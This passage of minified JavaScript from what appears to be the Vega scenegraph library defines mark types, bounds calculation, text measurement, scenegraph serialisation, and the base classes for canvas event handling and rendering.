context$$1.translate(x, y); context$$1.beginPath(); shape(context$$1, item); context$$1.translate(-x, -y); } return { type: type, tag: 'path', nested: false, attr: attr, bound: bound, draw: drawAll(draw), pick: pickPath(draw) }; } var arc$1 = markItemPath('arc', arc); function pickArea(a, p) { var v = a[0].orient === 'horizontal' ? p[1] : p[0], z = a[0].orient === 'horizontal' ? 'y' : 'x', lo = 0, hi = a.length; if (hi === 1) return a[0]; while (lo < hi) { var mid = lo + hi >>> 1; if (a[mid][z] < v) lo = mid + 1; else hi = mid; } lo = Math.max(0, lo - 1); hi = Math.min(a.length - 1, hi); return (v - a[lo][z]) < (a[hi][z] - v) ? a[lo] : a[hi]; } function pickLine(a, p) { var t = Math.pow(a[0].strokeWidth || 1, 2), i = a.length, dx, dy, dd; while (--i >= 0) { if (a[i].defined === false) continue; dx = a[i].x - p[0]; dy = a[i].y - p[1]; dd = dx * dx + dy * dy; if (dd < t) return a[i]; } return null; } function pickTrail(a, p) { var i = a.length, dx, dy, dd; while (--i >= 0) { if (a[i].defined === false) continue; dx = a[i].x - p[0]; dy = a[i].y - p[1]; dd = dx * dx + dy * dy; dx = a[i].size || 1; if (dd < dx*dx) return a[i]; } return null; } function markMultiItemPath(type, shape, tip) { function attr(emit, item) { var items = item.mark.items; if (items.length) emit('d', shape(null, items)); } function bound(bounds, mark) { var items = mark.items; if (items.length === 0) { return bounds; } else { shape(context(bounds), items); return boundStroke(bounds, items[0]); } } function draw(context$$1, items) { context$$1.beginPath(); shape(context$$1, items); } var hit = hitPath(draw); function pick$$1(context$$1, scene, x, y, gx, gy) { var items = scene.items, b = scene.bounds; if (!items || !items.length || b && !b.contains(gx, gy)) { return null; } x *= context$$1.pixelRatio; y *= context$$1.pixelRatio; return hit(context$$1, items, x, y) ? items[0] : null; } return { type: type, tag: 'path', nested: true, attr: attr, bound: bound, draw: drawOne(draw), pick: pick$$1, tip: tip }; } var area$1 = markMultiItemPath('area', area, pickArea); var clip_id = 1; function resetSVGClipId() { clip_id = 1; } function clip(renderer, item, size) { var clip = item.clip, defs = renderer._defs, id = item.clip_id || (item.clip_id = 'clip' + clip_id++), c = defs.clipping[id] || (defs.clipping[id] = {id: id}); if (vegaUtil.isFunction(clip)) { c.path = clip(null); } else { c.width = size.width || 0; c.height = size.height || 0; } return 'url(#' + id + ')'; } var StrokeOffset = 0.5; function attr(emit, item) { emit('transform', translateItem(item)); } function background(emit, item) { var offset = item.stroke ? StrokeOffset : 0; emit('class', 'background'); emit('d', rectangle(null, item, offset, offset)); } function foreground(emit, item, renderer) { var url = item.clip ? clip(renderer, item, item) : null; emit('clip-path', url); } function bound(bounds, group) { if (!group.clip && group.items) { var items = group.items; for (var j=0, m=items.length; j<m; ++j) { bounds.union(items[j].bounds); } } if ((group.clip || group.width || group.height) && !group.noBound) { bounds.add(0, 0).add(group.width || 0, group.height || 0); } boundStroke(bounds, group); return bounds.translate(group.x || 0, group.y || 0); } function backgroundPath(context, group) { var offset = group.stroke ? StrokeOffset : 0; context.beginPath(); rectangle(context, group, offset, offset); } var hitBackground = hitPath(backgroundPath); function draw(context, scene, bounds) { var renderer = this; visit(scene, function(group) { var gx = group.x || 0, gy = group.y || 0, w = group.width || 0, h = group.height || 0, opacity; // setup graphics context context.save(); context.translate(gx, gy); // draw group background if (group.stroke || group.fill) { opacity = group.opacity == null ? 1 : group.opacity; if (opacity > 0) { backgroundPath(context, group); if (group.fill && fill(context, group, opacity)) { context.fill(); } if (group.stroke && stroke(context, group, opacity)) { context.stroke(); } } } // set clip and bounds if (group.clip) { context.beginPath(); context.rect(0, 0, w, h); context.clip(); } if (bounds) bounds.translate(-gx, -gy); // draw group contents visit(group, function(item) { renderer.draw(context, item, bounds); }); // restore graphics context if (bounds) bounds.translate(gx, gy); context.restore(); }); } function pick$1(context, scene, x, y, gx, gy) { if (scene.bounds && !scene.bounds.contains(gx, gy) || !scene.items) { return null; } var handler = this, cx = x * context.pixelRatio, cy = y * context.pixelRatio; return pickVisit(scene, function(group) { var hit, dx, dy, b; // first hit test against bounding box // if a group is clipped, that should be handled by the bounds check. b = group.bounds; if (b && !b.contains(gx, gy)) return; // passed bounds check, so test sub-groups dx = (group.x || 0); dy = (group.y || 0); context.save(); context.translate(dx, dy); dx = gx - dx; dy = gy - dy; // hit test against contained marks hit = pickVisit(group, function(mark) { return pickMark(mark, dx, dy) ? handler.pick(mark, x, y, dx, dy) : null; }); // hit test against group background if (!hit && scene.interactive !== false && (group.fill || group.stroke) && hitBackground(context, group, cx, cy)) { hit = group; } context.restore(); return hit || null; }); } function pickMark(mark, x, y) { return (mark.interactive !== false || mark.marktype === 'group') && mark.bounds && mark.bounds.contains(x, y); } var group = { type: 'group', tag: 'g', nested: false, attr: attr, bound: bound, draw: draw, pick: pick$1, background: background, foreground: foreground }; function getImage(item, renderer) { var image = item.image; if (!image || image.url !== item.url) { image = {loaded: false, width: 0, height: 0}; renderer.loadImage(item.url).then(function(image) { item.image = image; item.image.url = item.url; }); } return image; } function imageXOffset(align, w) { return align === 'center' ? w / 2 : align === 'right' ? w : 0; } function imageYOffset(baseline, h) { return baseline === 'middle' ? h / 2 : baseline === 'bottom' ? h : 0; } function attr$1(emit, item, renderer) { var image = getImage(item, renderer), x = item.x || 0, y = item.y || 0, w = (item.width != null ? item.width : image.width) || 0, h = (item.height != null ? item.height : image.height) || 0, a = item.aspect === false ? 'none' : 'xMidYMid'; x -= imageXOffset(item.align, w); y -= imageYOffset(item.baseline, h); emit('href', image.src || '', 'http://www.w3.org/1999/xlink', 'xlink:href'); emit('transform', translate(x, y)); emit('width', w); emit('height', h); emit('preserveAspectRatio', a); } function bound$1(bounds, item) { var image = item.image, x = item.x || 0, y = item.y || 0, w = (item.width != null ? item.width : (image && image.width)) || 0, h = (item.height != null ? item.height : (image && image.height)) || 0; x -= imageXOffset(item.align, w); y -= imageYOffset(item.baseline, h); return bounds.set(x, y, x + w, y + h); } function draw$1(context, scene, bounds) { var renderer = this; visit(scene, function(item) { if (bounds && !bounds.intersects(item.bounds)) return; // bounds check var image = getImage(item, renderer), x = item.x || 0, y = item.y || 0, w = (item.width != null ? item.width : image.width) || 0, h = (item.height != null ? item.height : image.height) || 0, opacity, ar0, ar1, t; x -= imageXOffset(item.align, w); y -= imageYOffset(item.baseline, h); if (item.aspect !== false) { ar0 = image.width / image.height; ar1 = item.width / item.height; if (ar0 === ar0 && ar1 === ar1 && ar0 !== ar1) { if (ar1 < ar0) { t = w / ar0; y += (h - t) / 2; h = t; } else { t = h * ar0; x += (w - t) / 2; w = t; } } } if (image.loaded) { context.globalAlpha = (opacity = item.opacity) != null ? opacity : 1; context.drawImage(image, x, y, w, h); } }); } var image = { type: 'image', tag: 'image', nested: false, attr: attr$1, bound: bound$1, draw: draw$1, pick: pick(), get: getImage, xOffset: imageXOffset, yOffset: imageYOffset }; var line$1 = markMultiItemPath('line', line, pickLine); function attr$2(emit, item) { emit('transform', translateItem(item)); emit('d', item.path); } function path(context$$1, item) { var path = item.path; if (path == null) return true; var cache = item.pathCache; if (!cache || cache.path !== path) { (item.pathCache = cache = pathParse(path)).path = path; } pathRender(context$$1, cache, item.x, item.y); } function bound$2(bounds, item) { return path(context(bounds), item) ? bounds.set(0, 0, 0, 0) : boundStroke(bounds, item); } var path$1 = { type: 'path', tag: 'path', nested: false, attr: attr$2, bound: bound$2, draw: drawAll(path), pick: pickPath(path) }; function attr$3(emit, item) { emit('d', rectangle(null, item)); } function bound$3(bounds, item) { var x, y; return boundStroke(bounds.set( x = item.x || 0, y = item.y || 0, (x + item.width) || 0, (y + item.height) || 0 ), item); } function draw$2(context, item) { context.beginPath(); rectangle(context, item); } var rect = { type: 'rect', tag: 'path', nested: false, attr: attr$3, bound: bound$3, draw: drawAll(draw$2), pick: pickPath(draw$2) }; function attr$4(emit, item) { emit('transform', translateItem(item)); emit('x2', item.x2 != null ? item.x2 - (item.x||0) : 0); emit('y2', item.y2 != null ? item.y2 - (item.y||0) : 0); } function bound$4(bounds, item) { var x1, y1; return boundStroke(bounds.set( x1 = item.x || 0, y1 = item.y || 0, item.x2 != null ? item.x2 : x1, item.y2 != null ? item.y2 : y1 ), item); } function path$2(context, item, opacity) { var x1, y1, x2, y2; if (item.stroke && stroke(context, item, opacity)) { x1 = item.x || 0; y1 = item.y || 0; x2 = item.x2 != null ? item.x2 : x1; y2 = item.y2 != null ? item.y2 : y1; context.beginPath(); context.moveTo(x1, y1); context.lineTo(x2, y2); return true; } return false; } function draw$3(context, scene, bounds) { visit(scene, function(item) { if (bounds && !bounds.intersects(item.bounds)) return; // bounds check var opacity = item.opacity == null ? 1 : item.opacity; if (opacity && path$2(context, item, opacity)) { context.stroke(); } }); } function hit(context, item, x, y) { if (!context.isPointInStroke) return false; return path$2(context, item, 1) && context.isPointInStroke(x, y); } var rule = { type: 'rule', tag: 'line', nested: false, attr: attr$4, bound: bound$4, draw: draw$3, pick: pick(hit) }; var shape$1 = markItemPath('shape', shape); var symbol$1 = markItemPath('symbol', symbol); var context$1, currFontHeight; var textMetrics = { height: fontSize, measureWidth: measureWidth, estimateWidth: estimateWidth, width: estimateWidth, canvas: useCanvas }; useCanvas(true); // make dumb, simple estimate if no canvas is available function estimateWidth(item) { currFontHeight = fontSize(item); return estimate(textValue(item)); } function estimate(text) { return ~~(0.8 * text.length * currFontHeight); } // measure text width if canvas is available function measureWidth(item) { context$1.font = font(item); return measure(textValue(item)); } function measure(text) { return context$1.measureText(text).width; } function fontSize(item) { return item.fontSize != null ? item.fontSize : 11; } function useCanvas(use) { context$1 = use && (context$1 = vegaCanvas.canvas(1,1)) ? context$1.getContext('2d') : null; textMetrics.width = context$1 ? measureWidth : estimateWidth; } function textValue(item) { var s = item.text; if (s == null) { return ''; } else { return item.limit > 0 ? truncate(item) : s + ''; } } function truncate(item) { var limit = +item.limit, text = item.text + '', width; if (context$1) { context$1.font = font(item); width = measure; } else { currFontHeight = fontSize(item); width = estimate; } if (width(text) < limit) return text; var ellipsis = item.ellipsis || '\u2026', rtl = item.dir === 'rtl', lo = 0, hi = text.length, mid; limit -= width(ellipsis); if (rtl) { while (lo < hi) { mid = (lo + hi >>> 1); if (width(text.slice(mid)) > limit) lo = mid + 1; else hi = mid; } return ellipsis + text.slice(lo); } else { while (lo < hi) { mid = 1 + (lo + hi >>> 1); if (width(text.slice(0, mid)) < limit) lo = mid; else hi = mid - 1; } return text.slice(0, lo) + ellipsis; } } function fontFamily(item, quote) { var font = item.font; return (quote && font ? String(font).replace(/"/g, '\'') : font) || 'sans-serif'; } function font(item, quote) { return '' + (item.fontStyle ? item.fontStyle + ' ' : '') + (item.fontVariant ? item.fontVariant + ' ' : '') + (item.fontWeight ? item.fontWeight + ' ' : '') + fontSize(item) + 'px ' + fontFamily(item, quote); } function offset(item) { // perform our own font baseline calculation // why? not all browsers support SVG 1.1 'alignment-baseline' :( var baseline = item.baseline, h = fontSize(item); return Math.round( baseline === 'top' ? 0.79*h : baseline === 'middle' ? 0.30*h : baseline === 'bottom' ? -0.21*h : 0 ); } var textAlign = { 'left': 'start', 'center': 'middle', 'right': 'end' }; var tempBounds = new Bounds(); function attr$5(emit, item) { var dx = item.dx || 0, dy = (item.dy || 0) + offset(item), x = item.x || 0, y = item.y || 0, a = item.angle || 0, r = item.radius || 0, t; if (r) { t = (item.theta || 0) - Math.PI/2; x += r * Math.cos(t); y += r * Math.sin(t); } emit('text-anchor', textAlign[item.align] || 'start'); if (a) { t = translate(x, y) + ' rotate('+a+')'; if (dx || dy) t += ' ' + translate(dx, dy); } else { t = translate(x + dx, y + dy); } emit('transform', t); } function bound$5(bounds, item, noRotate) { var h = textMetrics.height(item), a = item.align, r = item.radius || 0, x = item.x || 0, y = item.y || 0, dx = item.dx || 0, dy = (item.dy || 0) + offset(item) - Math.round(0.8*h), // use 4/5 offset w, t; if (r) { t = (item.theta || 0) - Math.PI/2; x += r * Math.cos(t); y += r * Math.sin(t); } // horizontal alignment w = textMetrics.width(item); if (a === 'center') { dx -= (w / 2); } else if (a === 'right') { dx -= w; } bounds.set(dx+=x, dy+=y, dx+w, dy+h); if (item.angle && !noRotate) { bounds.rotate(item.angle*Math.PI/180, x, y); } return bounds.expand(noRotate || !w ? 0 : 1); } function draw$4(context, scene, bounds) { visit(scene, function(item) { var opacity, x, y, r, t, str; if (bounds && !bounds.intersects(item.bounds)) return; // bounds check if (!(str = textValue(item))) return; // get text string opacity = item.opacity == null ? 1 : item.opacity; if (opacity === 0) return; context.font = font(item); context.textAlign = item.align || 'left'; x = item.x || 0; y = item.y || 0; if ((r = item.radius)) { t = (item.theta || 0) - Math.PI/2; x += r * Math.cos(t); y += r * Math.sin(t); } if (item.angle) { context.save(); context.translate(x, y); context.rotate(item.angle * Math.PI/180); x = y = 0; // reset x, y } x += (item.dx || 0); y += (item.dy || 0) + offset(item); if (item.fill && fill(context, item, opacity)) { context.fillText(str, x, y); } if (item.stroke && stroke(context, item, opacity)) { context.strokeText(str, x, y); } if (item.angle) context.restore(); }); } function hit$1(context, item, x, y, gx, gy) { if (item.fontSize <= 0) return false; if (!item.angle) return true; // bounds sufficient if no rotation // project point into space of unrotated bounds var b = bound$5(tempBounds, item, true), a = -item.angle * Math.PI / 180, cos = Math.cos(a), sin = Math.sin(a), ix = item.x, iy = item.y, px = cos*gx - sin*gy + (ix - ix*cos + iy*sin), py = sin*gx + cos*gy + (iy - ix*sin - iy*cos); return b.contains(px, py); } var text = { type: 'text', tag: 'text', nested: false, attr: attr$5, bound: bound$5, draw: draw$4, pick: pick(hit$1) }; var trail$1 = markMultiItemPath('trail', trail, pickTrail); var marks = { arc: arc$1, area: area$1, group: group, image: image, line: line$1, path: path$1, rect: rect, rule: rule, shape: shape$1, symbol: symbol$1, text: text, trail: trail$1 }; function boundItem(item, func, opt) { var type = marks[item.mark.marktype], bound = func || type.bound; if (type.nested) item = item.mark; return bound(item.bounds || (item.bounds = new Bounds()), item, opt); } var DUMMY = {mark: null}; function boundMark(mark, bounds, opt) { var type = marks[mark.marktype], bound = type.bound, items = mark.items, hasItems = items && items.length, i, n, item, b; if (type.nested) { if (hasItems) { item = items[0]; } else { // no items, fake it DUMMY.mark = mark; item = DUMMY; } b = boundItem(item, bound, opt); bounds = bounds && bounds.union(b) || b; return bounds; } bounds = bounds || mark.bounds && mark.bounds.clear() || new Bounds(); if (hasItems) { for (i=0, n=items.length; i<n; ++i) { bounds.union(boundItem(items[i], bound, opt)); } } return mark.bounds = bounds; } var keys = [ 'marktype', 'name', 'role', 'interactive', 'clip', 'items', 'zindex', 'x', 'y', 'width', 'height', 'align', 'baseline', // layout 'fill', 'fillOpacity', 'opacity', // fill 'stroke', 'strokeOpacity', 'strokeWidth', 'strokeCap', // stroke 'strokeDash', 'strokeDashOffset', // stroke dash 'startAngle', 'endAngle', 'innerRadius', 'outerRadius', // arc 'cornerRadius', 'padAngle', // arc, rect 'interpolate', 'tension', 'orient', 'defined', // area, line 'url', // image 'path', // path 'x2', 'y2', // rule 'size', 'shape', // symbol 'text', 'angle', 'theta', 'radius', 'dx', 'dy', // text 'font', 'fontSize', 'fontWeight', 'fontStyle', 'fontVariant' // font ]; function sceneToJSON(scene, indent) { return JSON.stringify(scene, keys, indent); } function sceneFromJSON(json) { var scene = (typeof json === 'string' ? JSON.parse(json) : json); return initialize(scene); } function initialize(scene) { var type = scene.marktype, items = scene.items, parent, i, n; if (items) { for (i=0, n=items.length; i<n; ++i) { parent = type ? 'mark' : 'group'; items[i][parent] = scene; if (items[i].zindex) items[i][parent].zdirty = true; if ('group' === (type || parent)) initialize(items[i]); } } if (type) boundMark(scene); return scene; } function Scenegraph(scene) { if (arguments.length) { this.root = sceneFromJSON(scene); } else { this.root = createMark({ marktype: 'group', name: 'root', role: 'frame' }); this.root.items = [new GroupItem(this.root)]; } } var prototype$2 = Scenegraph.prototype; prototype$2.toJSON = function(indent) { return sceneToJSON(this.root, indent || 0); }; prototype$2.mark = function(markdef, group, index) { group = group || this.root.items[0]; var mark = createMark(markdef, group); group.items[index] = mark; if (mark.zindex) mark.group.zdirty = true; return mark; }; function createMark(def, group) { return { bounds: new Bounds(), clip: !!def.clip, group: group, interactive: def.interactive === false ? false : true, items: [], marktype: def.marktype, name: def.name || undefined, role: def.role || undefined, zindex: def.zindex || 0 }; } // create a new DOM element function domCreate(doc, tag, ns) { if (!doc && typeof document !== 'undefined' && document.createElement) { doc = document; } return doc ? (ns ? doc.createElementNS(ns, tag) : doc.createElement(tag)) : null; } // find first child element with matching tag function domFind(el, tag) { tag = tag.toLowerCase(); var nodes = el.childNodes, i = 0, n = nodes.length; for (; i<n; ++i) if (nodes[i].tagName.toLowerCase() === tag) { return nodes[i]; } } // retrieve child element at given index // create & insert if doesn't exist or if tags do not match function domChild(el, index, tag, ns) { var a = el.childNodes[index], b; if (!a || a.tagName.toLowerCase() !== tag.toLowerCase()) { b = a || null; a = domCreate(el.ownerDocument, tag, ns); el.insertBefore(a, b); } return a; } // remove all child elements at or above the given index function domClear(el, index) { var nodes = el.childNodes, curr = nodes.length; while (curr > index) el.removeChild(nodes[--curr]); return el; } // generate css class name for mark function cssClass(mark) { return 'mark-' + mark.marktype + (mark.role ? ' role-' + mark.role : '') + (mark.name ? ' ' + mark.name : ''); } function point(event, el) { var rect = el.getBoundingClientRect(); return [ event.clientX - rect.left - (el.clientLeft || 0), event.clientY - rect.top - (el.clientTop || 0) ]; } function resolveItem(item, event, el, origin) { var mark = item && item.mark, mdef, p; if (mark && (mdef = marks[mark.marktype]).tip) { p = point(event, el); p[0] -= origin[0]; p[1] -= origin[1]; while (item = item.mark.group) { p[0] -= item.x || 0; p[1] -= item.y || 0; } item = mdef.tip(mark.items, p); } return item; } /** * Create a new Handler instance. * @param {object} [customLoader] - Optional loader instance for * href URL sanitization. If not specified, a standard loader * instance will be generated. * @param {function} [customTooltip] - Optional tooltip handler * function for custom tooltip display. * @constructor */ function Handler(customLoader, customTooltip) { this._active = null; this._handlers = {}; this._loader = customLoader || vegaLoader.loader(); this._tooltip = customTooltip || defaultTooltip; } // The default tooltip display handler. // Sets the HTML title attribute on the visualization container. function defaultTooltip(handler, event, item, value) { handler.element().setAttribute('title', value || ''); } var prototype$3 = Handler.prototype; /** * Initialize a new Handler instance. * @param {DOMElement} el - The containing DOM element for the display. * @param {Array<number>} origin - The origin of the display, in pixels. * The coordinate system will be translated to this point. * @param {object} [obj] - Optional context object that should serve as * the "this" context for event callbacks. * @return {Handler} - This handler instance. */ prototype$3.initialize = function(el, origin, obj) { this._el = el; this._obj = obj || null; return this.origin(origin); }; /** * Returns the parent container element for a visualization. * @return {DOMElement} - The containing DOM element. */ prototype$3.element = function() { return this._el; }; /** * Returns the scene element (e.g., canvas or SVG) of the visualization * Subclasses must override if the first child is not the scene element. * @return {DOMElement} - The scene (e.g., canvas or SVG) element. */ prototype$3.canvas = function() { return this._el && this._el.firstChild; }; /** * Get / set the origin coordinates of the visualization. */ prototype$3.origin = function(origin) { if (arguments.length) { this._origin = origin || [0, 0]; return this; } else { return this._origin.slice(); } }; /** * Get / set the scenegraph root. */ prototype$3.scene = function(scene) { if (!arguments.length) return this._scene; this._scene = scene; return this; }; /** * Add an event handler. Subclasses should override this method. */ prototype$3.on = function(/*type, handler*/) {}; /** * Remove an event handler. Subclasses should override this method. */ prototype$3.off = function(/*type, handler*/) {}; /** * Utility method for finding the array index of an event handler. * @param {Array} h - An array of registered event handlers. * @param {string} type - The event type. * @param {function} handler - The event handler instance to find. * @return {number} - The handler's array index or -1 if not registered. */ prototype$3._handlerIndex = function(h, type, handler) { for (var i = h ? h.length : 0; --i>=0;) { if (h[i].type === type && (!handler || h[i].handler === handler)) { return i; } } return -1; }; /** * Returns an array with registered event handlers. * @param {string} [type] - The event type to query. Any annotations * are ignored; for example, for the argument "click.foo", ".foo" will * be ignored and the method returns all "click" handlers. If type is * null or unspecified, this method returns handlers for all types. * @return {Array} - A new array containing all registered event handlers. */ prototype$3.handlers = function(type) { var h = this._handlers, a = [], k; if (type) { a.push.apply(a, h[this.eventName(type)]); } else { for (k in h) { a.push.apply(a, h[k]); } } return a; }; /** * Parses an event name string to return the specific event type. * For example, given "click.foo" returns "click" * @param {string} name - The input event type string. * @return {string} - A string with the event type only. */ prototype$3.eventName = function(name) { var i = name.indexOf('.'); return i < 0 ? name : name.slice(0,i); }; /** * Handle hyperlink navigation in response to an item.href value. * @param {Event} event - The event triggering hyperlink navigation. * @param {Item} item - The scenegraph item. * @param {string} href - The URL to navigate to. */ prototype$3.handleHref = function(event, item, href) { this._loader .sanitize(href, {context:'href'}) .then(function(opt) { var e = new MouseEvent(event.type, event), a = domCreate(null, 'a'); for (var name in opt) a.setAttribute(name, opt[name]); a.dispatchEvent(e); }) .catch(function() { /* do nothing */ }); }; /** * Handle tooltip display in response to an item.tooltip value. * @param {Event} event - The event triggering tooltip display. * @param {Item} item - The scenegraph item. * @param {boolean} show - A boolean flag indicating whether * to show or hide a tooltip for the given item. */ prototype$3.handleTooltip = function(event, item, show) { if (item && item.tooltip != null) { item = resolveItem(item, event, this.canvas(), this._origin); var value = (show && item && item.tooltip) || null; this._tooltip.call(this._obj, this, event, item, value); } }; /** * Returns the size of a scenegraph item and its position relative * to the viewport. * @param {Item} item - The scenegraph item. * @return {object} - A bounding box object (compatible with the * DOMRect type) consisting of x, y, width, heigh, top, left, * right, and bottom properties. */ prototype$3.getItemBoundingClientRect = function(item) { if (!(el = this.canvas())) return; var el, rect = el.getBoundingClientRect(), origin = this._origin, itemBounds = item.bounds, x = itemBounds.x1 + origin[0] + rect.left, y = itemBounds.y1 + origin[1] + rect.top, w = itemBounds.width(), h = itemBounds.height(); // translate coordinate for each parent group while (item.mark && (item = item.mark.group)) { x += item.x || 0; y += item.y || 0; } // return DOMRect-compatible bounding box return { x: x, y: y, width: w, height: h, left: x, top: y, right: x + w, bottom: y + h }; }; /** * Create a new Renderer instance. * @param {object} [loader] - Optional loader instance for * image and href URL sanitization. If not specified, a * standard loader instance will be generated. * @constructor */ function Renderer(loader) { this._el = null; this._bgcolor = null; this._loader = new ResourceLoader(loader); } var prototype$4 = Renderer.prototype; /** * Initialize a new Renderer instance. * @param {DOMElement} el - The containing DOM element for the display. * @param {number} width - The coordinate width of the display, in pixels. * @param {number} height - The coordinate height of the display, in pixels. * @param {Array<number>} origin - The origin of the display, in pixels. * The coordinate system will be translated to this point. * @param {number} [scaleFactor=1] - Optional scaleFactor by which to multiply * the width and height to determine the final pixel size. * @return {Renderer} - This renderer instance. */ prototype$4.initialize = function(el, width, height, origin, scaleFactor) { this._el = el; return this.resize(width, height, origin, scaleFactor); }; /** * Returns the parent container element for a visualization. * @return {DOMElement} - The containing DOM element. */ prototype$4.element = function() { return this._el; }; /** * Returns the scene element (e.g., canvas or SVG) of the visualization * Subclasses must override if the first child is not the scene element. * @return {DOMElement} - The scene (e.g., canvas or SVG) element. */ prototype$4.canvas = function() { return this._el && this._el.firstChild; }; /** * Get / set the background color. */ prototype$4.background = function(bgcolor) { if (arguments.length === 0) return this._bgcolor; this._bgcolor = bgcolor; return this; }; /** * Resize the display. * @param {number} width - The new coordinate width of the display, in pixels. * @param {number} height - The new coordinate height of the display, in pixels. * @param {Array<number>} origin - The new origin of the display, in pixels. * The coordinate system will be translated to this point. * @param {number} [scaleFactor=1] - Optional scaleFactor by which to multiply * the width and height to determine the final pixel size. * @return {Renderer} - This renderer instance; */ prototype$4.resize = function(width, height, origin, scaleFactor) { this._width = width; this._height = height; this._origin = origin || [0, 0]; this._scale = scaleFactor || 1; return this; }; /** * Report a dirty item whose bounds should be redrawn. * This base class method does nothing. Subclasses that perform * incremental should implement this method. * @param {Item} item - The dirty item whose bounds should be redrawn. */ prototype$4.dirty = function(/*item*/) { }; /** * Render an input scenegraph, potentially with a set of dirty items. * This method will perform an immediate rendering with available resources. * The renderer may also need to perform image loading to perform a complete * render. This process can lead to asynchronous re-rendering of the scene * after this method returns. To receive notification when rendering is * complete, use the renderAsync method instead. * @param {object} scene - The root mark of a scenegraph to render. * @return {Renderer} - This renderer instance. */ prototype$4.render = function(scene) { var r = this; // bind arguments into a render call, and cache it // this function may be subsequently called for async redraw r._call = function() { r._render(scene); }; // invoke the renderer r._call(); // clear the cached call for garbage collection // async redraws will stash their own copy r._call = null; return r; }; /** * Internal rendering method. Renderer subclasses should override this * method to actually perform rendering. * @param {object} scene - The root mark of a scenegraph to render. */ prototype$4._render = function(/*scene*/) { // subclasses to override }; /** * Asynchronous rendering method. Similar to render, but returns a Promise * that resolves when all rendering is completed. Sometimes a renderer must * perform image loading to get a complete rendering. The returned * Promise will not resolve until this process completes. * @param {object} scene - The root mark of a scenegraph to render. * @return {Promise} - A Promise that resolves when rendering is complete. */ prototype$4.renderAsync = function(scene) { var r = this.render(scene); return this._ready ? this._ready.then(function() { return r; }) : Promise.resolve(r); }; /** * Internal method for asynchronous resource loading. * Proxies method calls to the ImageLoader, and tracks loading * progress to invoke a re-render once complete. * @param {string} method - The method name to invoke on the ImageLoader. * @param {string} uri - The URI for the requested resource. * @return {Promise} - A Promise that resolves to the requested resource. */ prototype$4._load = function(method, uri) { var r = this, p = r._loader[method](uri); if (!r._ready) { // re-render the scene when loading completes var call = r._call; r._ready = r._loader.ready() .then(function(redraw) { if (redraw) call(); r._ready = null; }); } return p; }; /** * Sanitize a URL to include as a hyperlink in the rendered scene. * This method proxies a call to ImageLoader.sanitizeURL, but also tracks * image loading progress and invokes a re-render once complete. * @param {string} uri - The URI string to sanitize. * @return {Promise} - A Promise that resolves to the sanitized URL. */ prototype$4.sanitizeURL = function(uri) { return this._load('sanitizeURL', uri); }; /** * Requests an image to include in the rendered scene. * This method proxies a call to ImageLoader.loadImage, but also tracks * image loading progress and invokes a re-render once complete. * @param {string} uri - The URI string of the image. * @return {Promise} - A Promise that resolves to the loaded Image. */ prototype$4.loadImage = function(uri) { return this._load('loadImage', uri); }; var Events = [ 'keydown', 'keypress', 'keyup', 'dragenter', 'dragleave', 'dragover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseover', 'click', 'dblclick', 'wheel', 'mousewheel', 'touchstart', 'touchmove', 'touchend' ]; var TooltipShowEvent = 'mousemove'; var TooltipHideEvent = 'mouseout'; var HrefEvent = 'click'; function CanvasHandler(loader, tooltip) { Handler.call(this, loader, tooltip); this._down = null; this._touch = null; this._first = true; } var prototype$5 = vegaUtil.inherits(CanvasHandler, Handler); prototype$5.initialize = function(el, origin, obj) { // add event listeners var canvas = this._canvas = el && domFind(el, 'canvas'); if (canvas) { var that = this; this.events.forEach(function(type) { canvas.addEventListener(type, function(evt) { if (prototype$5[type]) { prototype$5[type].call(that, evt); } else { that.fire(type, evt); } }); }); } return Handler.prototype.initialize.call(this, el, origin, obj); }; // return the backing canvas instance prototype$5.canvas = function() { return this._canvas; }; // retrieve the current canvas context prototype$5.context = function() { return this._canvas.getContext('2d'); }; // supported events prototype$5.events = Events; // to keep old versions of firefox happy prototype$5.DOMMouseScroll = function(evt) { this.fire('mousewheel', evt); }; function move(moveEvent, overEvent, outEvent) { return function(evt) { var a = this._active, p = this.pickEvent(evt); if (p === a) { // active item and picked item are the same this.fire(moveEvent, evt); // fire move } else { // active item and picked item are different if (!a || !a.exit) { // fire out for prior active item // suppress if active item was removed from scene this.fire(outEvent, evt); } this._active = p; // set new active item this.fire(overEvent, evt); // fire over for new active item this.fire(moveEvent, evt); // fire move for new active item } }; } function inactive(type) { return function(evt) { this.fire(type, evt); this._active = null; }; } prototype$5.mousemove = move('mousemove', 'mouseover', 'mouseout'); prototype$5.dragover = move('dragover', 'dragenter', 'dragleave'); prototype$5.mouseout = inactive('mouseout'); prototype$5.dragleave = inactive('dragleave'); prototype$5.mousedown = function(evt) { this._down = this._active; this.fire('mousedown', evt); }; prototype$5.click = function(evt) { if (this._down === this._active) { this.fire('click', evt); this._down = null; } }; prototype$5.touchstart = function(evt) { this._touch = this.pickEvent(evt.changedTouches[0]); if (this._first) { this._active = this._touch; this._first = false; } this.fire('touchstart', evt, true); }; prototype$5.touchmove = function(evt) { this.fire('touchmove', evt, true); }; prototype$5.touchend = function(evt) { this.fire('touchend', evt, true); this._touch = null; }; // fire an event prototype$5.fire = function(type, evt, touch) { var a = touch ? this._touch : this._active, h = this._handlers[type], i, len; // set event type relative to scenegraph items evt.vegaType = type; // handle hyperlinks and tooltips first if (type === HrefEvent && a && a.href) { this.handleHref(evt, a, a.href); } else if (type === TooltipShowEvent || type === TooltipHideEvent) { this.handleTooltip(evt, a, type !== TooltipHideEvent); } // invoke all registered handlers if (h) { for (i=0, len=h.length; i<len; ++i) { h[i].handler.call(this._obj, evt, a); } } }; // add an event handler prototype$5.on = function(type, handler) { var name = this.eventName(type), h = this._handlers, i = this._handlerIndex(h[name], type, handler); if (i < 0) { (h[name] || (h[name] = [])).push({ type: type, handler: handler }); } return this; }; // remove an event handler prototype$5.off = function(type, handler) { var name = this.eventName(type), h = this._handlers[name], i = this._handlerIndex(h, type, handler); if (i >= 0) { h.splice(i, 1); } return this; }; prototype$5.pickEvent = function(evt) { var p = point(evt, this._canvas), o = this._origin; return this.pick(this._scene, p[0], p[1], p[0] - o[0], p[1] - o[1]); }; // find the scenegraph item at the current mouse position // x, y -- the absolute x, y mouse coordinates on the canvas element // gx, gy -- the relative coordinates within the current group prototype$5.pick = function(scene, x, y, gx, gy) { var g = this.context(), mark = marks[scene.marktype]; return mark.pick.call(this, g, scene, x, y, gx, gy); }; function clip$1(context, scene) { var clip = scene.clip; context.save(); context.beginPath(); if (vegaUtil.isFunction(clip)) { clip(context); } else { var group = scene.group; context.rect(0, 0, group.width || 0, group.height || 0); } context.clip(); } function devicePixelRatio() { 